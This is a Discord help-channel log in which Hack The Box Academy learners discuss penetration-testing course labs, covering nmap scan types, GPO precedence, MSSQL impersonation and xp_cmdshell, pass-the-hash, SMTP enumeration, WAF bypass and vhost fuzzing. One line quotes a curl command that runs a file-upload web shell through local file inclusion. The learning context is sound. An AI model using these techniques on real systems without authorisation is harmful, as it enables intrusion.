fathom pendant
#

I don't recall needing to do any http bruteforce with that module

#

What section?

strange forge
#

got an smtp user now trying its pass

#

lol even the walkthroughs are using rockyou. and mine says it will be completed in 1867 hr.

fathom pendant
#

Oh wait yeah, it's in rockyou

#

Just checked but it's fairly high on the list

fathom pendant
fathom pendant
heavy marsh
#

Can anyone explain the grep -v "<.>" portion of
curl -s -w "\n" 'http://STMIP:STMPO/index.php?language=./profile_images/shell.gif&cmd=ls+/' | grep -v "<.
>"
???

#

It's from the LFI and file uploads section

#

There's nothing in the man page besides the -v option and all it says is invert

hallow remnant
fathom pendant
#

also you're sharing from the walk-through

#

i take it you're trying to say \<.*\>?

#

basically think what grep -v does, and then apply it to the scenario

#

you're that far into the course you should understand at bare minimum how grep works, and what special characters are

heavy marsh
#

No, no backticks in the example

fathom pendant
#

i'm not saying there are backticks in the example

#

did you mean backslash?

heavy marsh
fathom pendant
#

again if you wrap YOUR command that you're copying in backticks it's easier to see your command formatting

heavy marsh
#

I see what the <.*> is accomplishing i'm just not sure what it's actually doing

fathom pendant
#

otherwise if text has a * at the start and end of a statement *like this* discord formats it like this

strange forge
fathom pendant
#

i'll refer you back to the SQL section for advice on where and what to look for

fathom pendant
snow ridge
fathom pendant
#

and filtering lines that have those. out

#

so you're left with text that isn't in html formatting or code formatting

heavy marsh
#

Thank you!

fathom pendant
#

literally takes a few seconds of thinking

#

or at least doing the command without the grep

#

and with it to see the difference

#

¯_(ツ)_/¯

heavy marsh
#

Yeah, there was nothing in the grep man page though that showed the operators after -v just that it inverted

fathom pendant
#

yes

#

what does inverted mean, and apply that to grep

#

if normal grep includes what you search for, inverted...

normal sand
#

Which nmap scan is actually stealthier? -sS or -sT?

fathom pendant
normal sand
#

Is it a mistake in the Network Enumeration with Nmap module then? Cuz it says -sT is stealthier since it makes a full connection? I'm confused cuz I've read in some places that -sS is stealthier as well.

fathom pendant
#

it goes SYN -> SYN-ACK -> RESP iirc (which cuts the handshake before it completes*

fathom pendant
normal sand
#

So it could really be either depending on the environment?

fathom pendant
#

normal behavior would be connect to a port; then cutting the connection

normal sand
# fathom pendant yep

Is there a recommended one? Like one generally over the other when beginning to enumerate an environment?

fathom pendant
#

so if you find your scans taking forever, sT is the way to go

strange forge
# fathom pendant i'll refer you back to the SQL section for advice on where and what to look for

i was not able to connect with the mssql service. it gave "
A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: SQL Network Interfaces, error: 26 - Error Locating Server/Instance Specified) (.Net SqlClient Data Provider)"

normal sand
fathom pendant
fathom pendant
normal sand
fathom pendant
#

ye

normal sand
# fathom pendant ye

I see. Thanks. I got one more question, the module also talks about tracing packets, and uses the following parameters when doing so: -Pn --disable-arp-ping -n. Is it safe to assume using these parameters when normally scanning helps with the speed without affecting the results?

fathom pendant
#

basically tells nmap "this host is fine, trust me bro"

#

i believe the options are explained in the nmap module

normal sand
#

I was just wondering if those options affect the speed of scans in any way.

fathom pendant
#

it skips sending any type of pings

#

and just sends the connection packets

normal sand
#

I see. So it does affect slightly.

snow ridge
fathom pendant
#

against the same target

#

¯_(ツ)_/¯

#

i.e. Syn scan getting stuck at like 99%

#

where TCP works fine

snow ridge
#

Dont know about that with certain target, but overall and technically its just faster

normal sand
normal sand
fathom pendant
#

just use what reliably works for you

normal sand
#

Alrighty, thanks to the both of you.

cloud urchin
#

i wouldn't say it's generally the better go-to. if you're performing a lot of half handshake requests sometimes a firewall may block you, so it may actually be better to do a slower full handshake scan

#

really depends on the target

reef lodge
#

Guys am doing Password Attacks - Medium lab:
I have got access to the machine using jason credentials but am stuck on obtaining the root flag.

fathom pendant
#

The documentation that gives you j* also hints at something

austere flume
#

Hi guys quick question

#

Anyone please respond

#

Tier 0 Fundamental General 6 hours
This module covers the fundamentals required to work comfortably with the Linux operating system and shell.

#

the 6 hours is the estimated time or expiry time

#

if i unlock the module will it expire in 6 hours?

autumn pilot
#

it is the estimated time of completion

austere flume
#

Oh okay Thanks!

honest gyro
#

hi everyone
im stuck at the (xss ---> Session Hijacking ) i tried every payload on the section but my php listener doesnt get any thing

left pond
#

am i only one who is having troubles to spawn machines in module? i mean it just disconnects you after 2-3 mins

gray chasm
#

Are HTB laboratories doing poorly? I connect via xfreerdp and the screen stays black....

cloud urchin
#

try pressing the space bar

gray chasm
#

it worked xd

honest gyro
keen sky
#

Hello everyone, I'm currently working on Analyzing Evil With Sysmon & Event Logs module and struggling with accessing sysmon as said in instructions - C/tools/sysmon.exe, it's just not opening (shutting down after a sec.). Does anyone have any suggestions?

cloud urchin
#

how are you opening it?

#

are you double clicking on the file?

upper ruin
#

@next bronze I did it! I got in with pth of the svc user! :D

#

Of AD Skill assessment 2.

next bronze
#

noice good job

keen sky
upper ruin
#

now I gotta transfer the...what was it called.

#

Sharphound

cloud urchin
upper ruin
#

And get the .zip and do some bloodhound stuff

keen sky
#

I tried to run a command in regular cmd (C:\Tools\Sysmon> sysmon.exe -i -accepteula -h md5,sha256,imphash -l -n) but got an error.

upper ruin
#

Cuz rn I can't find rdp tool which uses pth.

cloud urchin
next bronze
upper ruin
#

Breh. On it then

#

I didn't see it in the --help which is weird.

next bronze
upper ruin
#

now I gotta do PS one liners to disable security

next bronze
#

why do you need to rdp tho? it's poopoo, just get a shell

upper ruin
#

It's cuz I can drag n drop

#

;-;

#

But I will do a shell either way, esketit

#

Yoo, I can transfer the tools with the ab account to the main C drive and shell with the svc and do shenanigans from there on

keen sky
cloud urchin
#

you have a space after the directory before the binary, you have a > at the end of the directory, so it's not going to work

#

c:\should\be\full\path\to\the.exe

keen sky
#

Something wrong?

next bronze
#

make soure the path is correct, check your command

cloud urchin
# keen sky Something wrong?

Look at the very first part of your command. Your directory ends with ">". It should be "\". Directly after that, you shouldn't have a space before the "sysmon.exe" part. All the rest of the spaces are fine.

keen sky
cloud urchin
#

i don't have that module so i don't know what the instructions are, but my guess is they are simply in the directory already and aren't typing out the full path

#

oh yeah, that's what it is, i see it in your screenshot

viral jacinth
#

Can somebody lend a hand with HTTP ATTACKS Skills ssessment?

#

Im having that same issue, response of the smuggled call is nested on the first one. Any hints how you solved it?

keen sky
candid lily
#

help pls

candid lily
#

nvm got it

upper ruin
#

AD Skill Assessment 2 - completed.

steel gorge
viral jacinth
candid lily
#

the kali disconnects after like 2 mins there is something wrong with the machine in this section

upper ruin
#

Switch vpns.

#

From eu academy to us for example.

#

Don;t forget to download the new vpn files after you switch.

#
  • give the machine some time to load, it could break pipes a lot.
candid lily
#

its happening periodically

#

disconnects every 2 mins

#

btw im doing it with pwnbox and pwnbox connection is fine

#

this is just super annoying fix that kali

#

i ran this like a million times now

candid lily
#

screw this rdp in rdp in rdp

upper ruin
#

Isn't your password Slavi123

#

Or whatever it was...user was diff as well.

candid lily
#

first i need to rdp to kali then to the target using that bob:Slavi123

#

btw it works now after changing vpn server, ty

#

for whatever reason copy paste isnt working with tcp connection, so i need to type the flag lol

inland shoal
candid lily
#

windows module machines are trash

#

i would finish an entire module than this one section ahh

fathom pendant
candid lily
#

im out fix the damn machines pls

loud dagger
#

sorry for my mental breakdown in chat yesterday i was having a bit of a rough day

#

@next bronze sorry i snapped at you

cedar yew
#

hello guys,

What is the membercount: of the "Interns" group?

I couldn't execute this query with bloodhound, I don't know exactly how to do it.

next bronze
#

all good

next bronze
fathom pendant
#

Bloodhound is very much a crutch that people rely way too heavily on

#

It's a useful tool, sure, but it isn't a one and done tool

cedar yew
#

okey thx

haughty tree
#

Hey quick question, I'm reading about GPOs order of precedence and this paragraph confused me a bit.
if Disallow LM Hash has precedence over Block Removeable Media and Disable Guest Account, wouldn't that mean it is processed last?

#

And another question, in this example, if I set 2 GPOs to Enforced, one in the domain level and one in the OU, will the OU enforced one overwrite the domain level enforced one?

fathom pendant
#

think golf, lower number better

haughty tree
fathom pendant
#

no

#

whichever is processed first has the final say

haughty tree
#

But this is written earlier in the section

a GPO attached to a specific OU would have precedence over a GPO attached at the domain level because it will be processed last and could run the risk of overriding settings in a GPO higher up in the domain hierarchy. ```
#

Thats why im confused

fathom pendant
#

There exists a need to properly read, deploy, and examine the results of Group Policy. By its architecture, Group Policy Deployment to the Clients or Servers can be erratic and latent, or even non-existent throughout your Enterprise Organization, frustrating Administrators who are rolling out the Group Policy to Client or Server computers. To he...

haughty tree
fathom pendant
#

it just depends; in a domain environment - Windows (Local) is almost never used

#

small number = processed last

#

sorry i misspoke

#

but precedence order = reverse application order

haughty tree
#

Understandable, anyways thanks for the resources I'll read those

#

So was it a mistake from the academy?

fathom pendant
#

nope

fathom pendant
#

think of it this way it's a FILO stack

#

the stack is in an order, but only the last is taken until it's iterated through

haughty tree
fathom pendant
#

in this scenario it's 6 -> 5 -> 4 -> 3 -> 2 -> 1

haughty tree
#

Yeah, and it says in the paragraph there that its processed first

haughty tree
fathom pendant
#

ah

#

it's just confusing wording i think

#

GPOs are weird overall

loud dagger
#

hey is THM's jr pentester path worth my time if i'm planning on doing CPTS afterwards
someone recommended i do the jr pentester path before CPTS

fathom pendant
fathom pendant
#

the quality will be vastly different

#

but as long as you're learning something along the way ¯_(ツ)_/¯

loud dagger
#

noted

#

thanks, i'll give it a shot

fathom pendant
#

CPTS and it's related Information Security Foundations path prepare you well enough for the exam

#

but nothing wrong with sourcing your information from multiple places

#

¯_(ツ)_/¯

loud dagger
#

yeah i'm currently on infosec foundations and once i finish that i'm going to finish cisco's intro to networking course

#

because it's free and it's cisco and if there's any resource in the world i would trust to teach me networking it would be cisco

fathom pendant
#

Networking is rough to start with, then once you understand the logic it's super easy

loud dagger
#

so i've heard

#

some of it made sense really easily and some of it is still really confusing

fathom pendant
loud dagger
#

the cisco networking course goes into much more detail and material than the HTB intro to networking module

fathom pendant
loud dagger
#

agreed

fathom pendant
#

just remember you fill bits left to right

loud dagger
#

i'm hoping cisco explains subnetting better than HTB

fathom pendant
#

tbf subnetting isn't a huge part of hacking, understanding the different subnets sure

#

but actually setting a subnet, not really

#

not discounting that it's not useful to learn

#

it definitely helps you, at a glance, determine if 2 ips are in the same subnet or not

#

i.e. 172.16.5.x vs 172.16.6.x

loud dagger
#

that's slightly reassuring

fathom pendant
#

the only thing you might need to know subnetting/routing for is if you use a tool like ligolo where you have to set the interface up

#

but it's not really that hard, and plenty of guides out there for it :)

loud dagger
#

yeah i just found a subnetting calculator and i doubt i'll ever need to do any mental subnetting except maybe for an exam

fathom pendant
#

also writing it down can help

#

idk if i shared the link in here but i'll see if I can refind it, but it's a CCNA learning section about subnetting that's actually really well diagramed - you'll probably run across it

fathom pendant
#

Network+ Training Course Index: https://professormesser.link/n10008
Professor Messer’s Course Notes: https://professormesser.link/008cn
Discount exam vouchers: https://professormesser.com/vouchers/


Before you can use a shortcut to calculate subnet values, it’s useful to understand the binary math. In this video, you’ll learn how to ca...

▶ Play video
blissful elm
#

didn't knew cpts cover more than 50% of cbbh

fathom pendant
#

that's about it; cpts scratches the surface of web, cbbh digs into it more

blissful elm
#

i am glad i chose cpts first

#

now cbbh would look ezier

fathom pendant
#

as techniques in cbbh can make some web portions of the cpts path trivial

#

but that's neither here nor there

blissful elm
#

which path you doing now a days

fathom pendant
#

as long as it works for you

#

still on CPTS; need to prioritize school first before diving back into the path

blissful elm
#

school?

#

i am old af FeelsBadMan

fringe urchin
#

Im in kindergarden aswell (not, befire someoen reports it)

fathom pendant
#

for reference highschool for me was at least a decade ago ;w;

fringe urchin
#

Damn ancient

blissful elm
#

now i feel good

fringe urchin
#

Im having a 10y anniversray from my elementary this yearpepecoffee

fringe urchin
haughty tree
#

Knowing that there are people here from the time when dinosaurs roamed the earth makes me feel a little better about myself

fathom pendant
blissful elm
#

@sour sigil this guy is in his 50s

fathom pendant
#

oof if that's his profile

old oasis
#

I am on Server Side attacks module on the SSTI example 3. Can't seem to get the reverse shell to work, gives me an error everytime

fathom pendant
#

you're gonna have to do other things

#

as a general rule of thumb: Public IP = Shell not intended

old oasis
#

ok so I just got sent into a rabbit hole by them giving a reverse shell payload.

#

so I just use tplmap?

#

I solved it

halcyon girder
#

Hi, did you figure out why you got the answer? Can you DM me when you are free?

fathom pendant
#

or you have a remote C2 you're operating

unreal apex
#

Hello guys I am new here I just want to learn if you can help me I really appreciate it

fathom pendant
#

if you have a problem with an academy module you can pose the question here with:

  1. the module name (and link)
  2. the section name
  3. what you're having trouble with (don't just repeat the question in the section)
  4. what you've tried
    bear in mind: avoid spoilers where possible; omit usernames and passwords
    wrap command bits in backticks "`" (note for large blocks of code, the automod might detect it as "spam" and delete it, you'll need to link your HTB Labs account following #welcome to be able to avoid that)
    e.g. nmap -p- IP
#

if you don't use backticks something like *l blahblahblah* will get formatted as l blahblahblah

#

large code blocks can be formatted with
```[code language (optional)]
code
```
(on mobile the code language syntax highlighting isn't shown)

import library
print("thing")
late galleon
#

where is the FQDN in this?

#

can anybody help with a FQDN question?

#

in the CPTS

acoustic owl
fathom pendant
#

Think how you visit the base page of a website

late galleon
fathom pendant
#

Ye

vague sage
#

alright linux fundementals done
what should i go for next? anything i would like?

fathom pendant
#

Do the information Security Foundations path

vague sage
#

alright great

fathom pendant
#

After that it's really just whatever interests you

vague sage
#

thanks alot

fathom pendant
#

We don't know what your interests are so we can't say what would interest you lmao

vague sage
#

yeah ofc

#

oh shit i just realised linux fundementals was just a part of it (security foundations) LMAOO

wanton idol
#

loll

vague sage
#

im like tf is happening

strange forge
wanton idol
#

cause i dont remember any attack of mssql hash stealing

strange forge
viral jacinth
fathom pendant
strange forge
fathom pendant
#

I.e. I used the password I found for j* to get the file

fathom pendant
#

Impersonation is just I can perform queries as this other user

#

If that other user also happens to be an admin/database admin then by proxy you are able to do administrative tasks

#

Such as change configurations in the database, like enabling xp_cmdshell

viral jacinth
#

Hi community. Seeking for some help here with a module Im very stuck with:

  1. the module name and section: HTTP atacks - Skills assesment https://academy.hackthebox.com/module/191/section/2069
  2. what I am having trouble with and what I have done: Im not sure what do to really. I figured I need to hack the mail form into cc my mail (attacker@evil.htb) and bypass the WAF. So I crafted a malicious email with header injection and I url code it. the post request went through and got my 200 OK. But checking the /mail end point returns nothing.
    I noticed the mailhub web interface says Im disconnected so I guess websockets are not going through. I tried checking my inbox using mailhub's API with the endpoint /api/v2/messages?limit=50 but also like that my mailbox looks empty. I.e I got a response from the api but stating I have 0 messages. I have not spotted any needs for smugling any call so Im sure Im missing something. Any hints are very welcome. I have also search in the forums, google it and nada. Please help a desperate soul here
acoustic owl
viral jacinth
#

I tried that..but I figured (or so I thought) the only way to get past the WAF is encoding the CTRL character as the WAF scans the body of the every call...After encoding it there didnt seem to be need for smugling

snow ridge
#

Line breaks in your post data has to be url encoded as showed in examples

viral jacinth
#

so encoding + smuggling you mean?..hope you dont mind me asking..but if encoding was enought to get my call responded with a 200 wouldnt that indicate there is no need for smugling?

snow ridge
#

200 doesnt mean it will through waf

viral jacinth
#

oooh ok, gotcha

late galleon
#

anybody doing this? Enumerate the SMTP service even further and find the username that exists on the system. Submit it as the answer.

#

i got a bunch of names none are the answer howev er

#

however**

fathom pendant
#

VRFY is more reliable than RCPT

covert vortex
#

AD enumeration / Credentail Enumeration - from Windows
from xfreerdp just getting black window, machines were restarted few times

late galleon
fathom pendant
late galleon
fathom pendant
#

¯_(ツ)_/¯

covert vortex
#

stupid af, was struggling for few minutes with that

fathom pendant
#

just to show you that it does, in-fact, work

viral jacinth
# snow ridge 200 doesnt mean it will through waf

sorry to insist on this one. But how does 200 doesnt mean I got passed the WAF?. If WAF rejects I would get 401. Neverthless I tried now encoding + smugle..I can see both calls got 200 and a syntax error at the bottom (expected because of the last chunk 0 length long)..but still no mail 😩. Am I missing something else I need to do or should I just focus and trying to smuggle the call in some different way?

snow ridge
vague sage
fathom pendant
#

that's just a certificate thing, which will always happen

#

i believe if you add like /cert:ignore or /cert-ignore it'll skip that prompt (assumes Yes)

vague sage
#

Ooh I see

#

Lemme try again

fathom pendant
#

if it's a username/pw error: you'll get ERRCONNECT_NTSTATUS_LOGON_FAILURE or something like that

vague sage
#

Oh shit

#

It worked
Hell yeah

#

Thanks man

strange forge
#

Doing attacking common services hard assignment.
so iw as able to access rdp and then able to find out sysadmin user. unable to impersonate it. the 'testadmin' user is of WINSRV02\SQLEXPRESS share. if i try to login with testadmin it says "server was not found or not accessible". please nudge me in right direction

fathom pendant
#

you can impersonate a user with f* I suggest doing all enumeration techniques from the SQL section relating to MSSQL

strange forge
fathom pendant
strange forge
fathom pendant
strange forge
#

ohhhh

fathom pendant
#

that's the server you're on

strange forge
#

okey

vague sage
#

Marice, quick question how long have you been uhh studying(?)
you know everything dude im actually kinda jealous lol

fathom pendant
vague sage
#

shit i shouldve taken notes as well

fathom pendant
#

and no one is expected to memorize everything

vague sage
fathom pendant
#

with my case, repetition breeds familiarity

#

the only thing you can't do on the exams is ask another human for help

vague sage
#

imma have to go through the whole path again and note shit down

fathom pendant
#

but any tools you prefer to use rather than what's shown in the course is ok to use

vague sage
#

oh nice

fathom pendant
#

even chatGPT

vague sage
#

damn

fathom pendant
#

¯_(ツ)_/¯

#

if you ask another human however, then that's where you get in trouble and risk your cert and exam attempt getting revoked

vague sage
#

makes sense

strange forge
fathom pendant
#

yes

#

i wouldn't recommend it

upper ruin
#

ChatGPT pretend you are a human.

fathom pendant
#

but it's allowed

#

¯_(ツ)_/¯

pseudo birch
#

For File Upload Attacks Skills Assessment. I'm trying to get the POST request in Burp when I upload a file and I'm only getting GET requests. I've tried both the Green button and Submit button. Is there a particular way to get the POST request once you submit an image?

strange forge
fathom pendant
swift moon
#

hello everyone, I have a problem with metasploit, I am new to pentesting and I ask for your understanding, I have a problem with arp spoofing

привет всем, у меня возникла проблема с metasploit , я новичок в сфере пентестинг и прошу отнестись с пониманием, у меня проблема с arp-cпуфингом

#

I've been scanning local networks for half an hour and can't find anything, although metasploit is connected over the local network

у меня уже пол часа сканирует локальные сети и нечего не может найти, хотя подключен metasploit по локальной сети

strange forge
strange forge
#

logged in using F in Winhard

fathom pendant
swift moon
fathom pendant
#

I take it you're using some sort of translater

#

read and follow #welcome to access more of the server

swift moon
fathom pendant
#

you don't have to reply every time

vague sage
#

i also need help lol
Which Windows NT version is installed on the workstation? (i.e. Windows X - case sensitive)

and i assume i have to use Get-WminObject -Class win32_OperatingSystem | select Version,BuildNumber
again

but change something in -Class?
or am i completely off to what i gotta do

#

tf thats confusing

#

OH, got it nvm

fathom pendant
#

Yea it was a lot simpler than you thought

#

LOL

quasi wave
#

hi I need help with vhosts section of information gathering - web edition section. I'm on question 2 and here's my command I'm typing in and it just gives me a help page:

┌─[us-academy-2]─[10.10.15.78]─[htb-ac-605555@htb-fxzlqz9u4y]─[~]
└──╼ [★]$ ffuf -w ./vhosts -u http://10.129.89.192 -H "HOST: FUZZ.inlanefreight.htb" -fs 612
#

can someone help me with this?

fathom pendant
#

i don't think your fs is correct

#

you want to filter out the most common file size

#

as that's gonna be the stuff without data on it

#

also the basic vhosts list they have you craft doesn't get everything

dapper bronze
#

this is from the module finding evil with Windows log the opened event viewer and don't see any executable in the format specified and for that date anywhere

fathom pendant
#

i suggest using a subdomain discovery list

fathom pendant
#

the 4624 is a successful logon; meaning you get a username/account name to go off of

#

yeah looking at it, it kinda walks you through the mindset of how to get it

cloud urchin
cloud urchin
quasi wave
#

ok I did that already and now its showing better results. we'll see if what I'm doing now gets better results in terms of getting the flag

#

then I'll come back and ask again if I need more help

fathom pendant
fathom pendant
strange forge
#

Thanks @fathom pendant . Man i was so close. impersonated and accessed right server multiple times. Did'nt enabled xp_comman shell. lol

fathom pendant
#

"what do you mean it's not right"

quasi wave
#

waiting for output to complete

fathom pendant
cloud urchin
#

don't forget to filter by size

fathom pendant
cloud urchin
fathom pendant
#

is it the right one? i must have forgor then

strange forge
#

to summarise the mssql. to get access to linked server, we need some user with sysadmin rights. and for executing commands we need xp-command shell.

fathom pendant
#

to access the linked server you just need someone with access to the linked server

#

they don't necessarily need to be sa for it

#

and yeah generally for executing system commands you need xp_cmdshell

cloud urchin
fathom pendant
#

👍

#

ok thought i was going crazy LMAO

valid viper
#

The syntax of MSSQL makes me cry.

#

I feel like I need to take a class on it.

fathom pendant
#

it's not that bad Kappa

valid viper
#

MySQL is much better.